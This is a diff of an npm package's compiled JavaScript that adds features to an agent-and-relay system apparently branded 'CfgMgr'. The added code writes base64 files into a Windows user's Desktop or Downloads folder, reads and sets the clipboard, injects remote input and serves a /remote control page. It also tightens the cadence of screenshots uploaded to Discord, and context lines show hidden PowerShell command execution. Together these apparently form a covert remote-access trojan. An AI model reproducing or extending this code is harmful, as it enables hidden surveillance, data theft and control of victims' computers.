|
5114
|
+
return { ok: true };
|
|
5115
|
+
}
|
|
5116
|
+
catch (e) {
|
|
5117
|
+
return { ok: false, error: String(e) };
|
|
5118
|
+
}
|
|
5119
|
+
}
|
|
5120
|
+
async function fsRemoteFilePush(name, b64) {
|
|
5121
|
+
if (!isWindows()) {
|
|
5122
|
+
return { ok: false, error: "remote file push currently supports Windows agents only" };
|
|
5123
|
+
}
|
|
5124
|
+
const fileName = path.basename(String(name || "").trim() || "upload.bin");
|
|
5125
|
+
if (!fileName || fileName === "." || fileName === "..") {
|
|
5126
|
+
return { ok: false, error: "invalid file name" };
|
|
5127
|
+
}
|
|
5128
|
+
let body;
|
|
5129
|
+
try {
|
|
5130
|
+
body = Buffer.from(String(b64 || ""), "base64");
|
|
5131
|
+
}
|
|
5132
|
+
catch {
|
|
5133
|
+
return { ok: false, error: "invalid base64 payload" };
|
|
5134
|
+
}
|
|
5135
|
+
const maxBytes = 20 * 1024 * 1024;
|
|
5136
|
+
if (!body.length || body.length > maxBytes) {
|
|
5137
|
+
return { ok: false, error: "file payload must be 1B..20MB" };
|
|
5138
|
+
}
|
|
5139
|
+
const home = os.homedir();
|
|
5140
|
+
const targets = [path.join(home, "Desktop"), path.join(home, "Downloads"), home];
|
|
5141
|
+
let baseDir = home;
|
|
5142
|
+
for (const t of targets) {
|
|
5143
|
+
try {
|
|
5144
|
+
if (fs.existsSync(t) && fs.statSync(t).isDirectory()) {
|
|
5145
|
+
baseDir = t;
|
|
5146
|
+
break;
|
|
5147
|
+
}
|
|
5148
|
+
}
|
|
5149
|
+
catch {
|
|
5150
|
+
/* skip */
|
|
5151
|
+
}
|
|
5152
|
+
}
|
|
5153
|
+
let out = path.join(baseDir, fileName);
|
|
5154
|
+
if (fs.existsSync(out)) {
|
|
5155
|
+
const ext = path.extname(fileName);
|
|
5156
|
+
const stem = fileName.slice(0, fileName.length - ext.length) || "upload";
|
|
5157
|
+
out = path.join(baseDir, `${stem}_${Date.now()}${ext}`);
|
|
5158
|
+
}
|
|
5159
|
+
try {
|
|
5160
|
+
fs.writeFileSync(out, body);
|
|
5161
|
+
return { ok: true, saved_path: out, bytes: body.length };
|
|
5162
|
+
}
|
|
5163
|
+
catch (e) {
|
|
5164
|
+
return { ok: false, error: String(e) };
|
|
5165
|
+
}
|
|
5166
|
+
}
|
|
4819
5167
|
/**
|
|
4820
5168
|
* Run a shell command on the agent host (same privilege as the forge-agent process).
|
|
4821
5169
|
* Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
|
package/dist/relayAgent.js
CHANGED
|
@@ -143,7 +143,7 @@ function parseRelayDiscordIntervalMs(raw) {
|
|
|
143
143
|
}
|
|
144
144
|
if (!Number.isFinite(n))
|
|
145
145
|
return null;
|
|
146
|
-
return Math.min(600_000, Math.max(
|
|
146
|
+
return Math.min(600_000, Math.max(10_000, n));
|
|
147
147
|
}
|
|
148
148
|
/** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
|
|
149
149
|
function parseRelayDiscordStaggerCapMs(raw, maxCap) {
|
|
@@ -638,6 +638,10 @@ function runRelayAgentLoop(opts) {
|
|
|
638
638
|
"fs_delete",
|
|
639
639
|
"fs_shell_exec",
|
|
640
640
|
"fs_screenshot",
|
|
641
|
+
"rc_input",
|
|
642
|
+
"rc_clipboard_get",
|
|
643
|
+
"rc_clipboard_set",
|
|
644
|
+
"rc_file_push",
|
|
641
645
|
].includes(msgType)) {
|
|
642
646
|
sendJson({
|
|
643
647
|
type: "fs_error",
|
|
@@ -670,6 +674,10 @@ function runRelayAgentLoop(opts) {
|
|
|
670
674
|
"fs_delete",
|
|
671
675
|
"fs_shell_exec",
|
|
672
676
|
"fs_screenshot",
|
|
677
|
+
"rc_input",
|
|
678
|
+
"rc_clipboard_get",
|
|
679
|
+
"rc_clipboard_set",
|
|
680
|
+
"rc_file_push",
|
|
673
681
|
].includes(msgType)) {
|
|
674
682
|
void (async () => {
|
|
675
683
|
try {
|
package/dist/relayServer.js
CHANGED
|
@@ -193,7 +193,7 @@ function relayDiscordScreenshotAdvertisedIntervalMs() {
|
|
|
193
193
|
const n = raw ? parseInt(raw, 10) : 300_000;
|
|
194
194
|
if (!Number.isFinite(n))
|
|
195
195
|
return 300_000;
|
|
196
|
-
return Math.min(600_000, Math.max(
|
|
196
|
+
return Math.min(600_000, Math.max(10_000, n));
|
|
197
197
|
}
|
|
198
198
|
/** Optional cadence / first-shot stagger caps (relay `.env` → `relay_features`; agents apply if unset locally). */
|
|
199
199
|
function relayDiscordScreenshotAdvertisedIntervalStaggerMs() {
|
|
@@ -684,6 +684,26 @@ function handleHttp(req, res) {
|
|
|
684
684
|
withRelayDashboardOrLogin(res, req, writeFilesExplorerHtml);
|
|
685
685
|
return;
|
|
686
686
|
}
|
|
687
|
+
if (p === "/remote" || p === "/remote-control") {
|
|
688
|
+
withRelayDashboardOrLogin(res, req, (r) => {
|
|
689
|
+
_applySecurityHeaders(r);
|
|
690
|
+
let html;
|
|
691
|
+
try {
|
|
692
|
+
html = (0, filesExplorer_1.buildRemoteControlHtml)();
|
|
693
|
+
}
|
|
694
|
+
catch (e) {
|
|
695
|
+
r.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
696
|
+
r.end(String(e));
|
|
697
|
+
return;
|
|
698
|
+
}
|
|
699
|
+
r.writeHead(200, {
|
|
700
|
+
"Content-Type": "text/html; charset=utf-8",
|
|
701
|
+
"Cache-Control": "no-store",
|
|
702
|
+
});
|
|
703
|
+
r.end(html);
|
|
704
|
+
});
|
|
705
|
+
return;
|
|
706
|
+
}
|
|
687
707
|
if (p === "/relay") {
|
|
688
708
|
withRelayDashboardOrLogin(res, req, (r) => {
|
|
689
709
|
r.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
|
|
@@ -1397,7 +1417,7 @@ function startRelayServer(opts = {}) {
|
|
|
1397
1417
|
const uh = urlDisplayHost(host);
|
|
1398
1418
|
console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
|
|
1399
1419
|
console.log(` File explorer: http://${uh}:${listenPort}/`);
|
|
1400
|
-
console.log(` Same UI: /files /explorer /viewer minimal relay page: /relay`);
|
|
1420
|
+
console.log(` Same UI: /files /explorer /viewer /remote minimal relay page: /relay`);
|
|
1401
1421
|
console.log(` WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
|
|
1402
1422
|
console.log(` ws://${uh}:${listenPort}/ws/viewer/<session_id>`);
|
|
1403
1423
|
void (0, discordRelayUpload_1.warnDiscordRelayGuildIfMisconfigured)();
|